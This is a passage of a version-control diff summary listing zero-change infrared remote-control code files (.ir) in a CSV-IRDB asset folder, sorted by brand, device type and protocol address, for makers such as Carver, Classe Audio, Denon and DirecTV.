BOX/DVD Changer/26,98.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir | 0 .../optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir | 0 .../_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir | 0 .../_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir | 0 .../optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir | 0 .../_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir | 0 .../_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir | 0 .../_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir | 0 .../optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir | 0 .../_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir | 0 .../optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir | 0 .../optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir | 0 .../optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir | 0 .../optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir | 0 .../optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir | 0 .../optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir | 0 .../optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir | 0 .../_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir | 0 .../_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir | 0 .../_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir | 0 .../optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir | 0 .../_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir | 0 .../optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir | 0 .../_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir | 0 .../_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir | 0 .../_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir | 0 .../_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir | 0 .../optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir | 0 .../optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir | 0 .../_CSV-IRDB_/Citation/Surround Processor/132,66.ir | 0 .../optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Coby/DVD Player/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir | 0 .../_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir | 0 .../optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir | 0 .../optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir | 0 .../_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir | 0 .../optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir | 0 .../optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir | 0 .../optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir | 0 .../optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir | 0 .../_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir | 0 .../optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir | 0 .../_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir | 0 .../optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir | 0 .../optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir | 0 .../optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir | 0 .../optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir | 0 .../optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir | 0 .../optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir | 0 .../_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir | 0 .../_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir | 0 .../_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir | 0 .../optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir | 0 .../optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir | 0 .../_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir | 0 .../optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir | 0 .../_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir | 0 .../_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir | 0 .../_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir | 0 .../_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir | 0 .../optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir | 0 .../optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir | 0 .../optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir | 0 .../optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir | 0 .../optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir | 0 .../optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir | 0 .../optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir | 0 .../optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir | 0 .../optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir | 0 .../optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir | 0 .../optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir | 0 .../optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir | 0 .../optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir | 0 .../optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir | 0 .../_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir | 0 .../optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir | 0 .../optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir | 0 .../optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir | 0 .../_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir | 0 .../optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir | 0 .../optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir | 0 .../_CSV-IRDB_/Digital Projection/Projector/32,-1.ir | 0 .../_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir | 0 .../_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir | 0 .../_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir | 0 .../optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir | 0 .../optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir | 0 .../optional-assets/_CSV-IRDB_/Dish 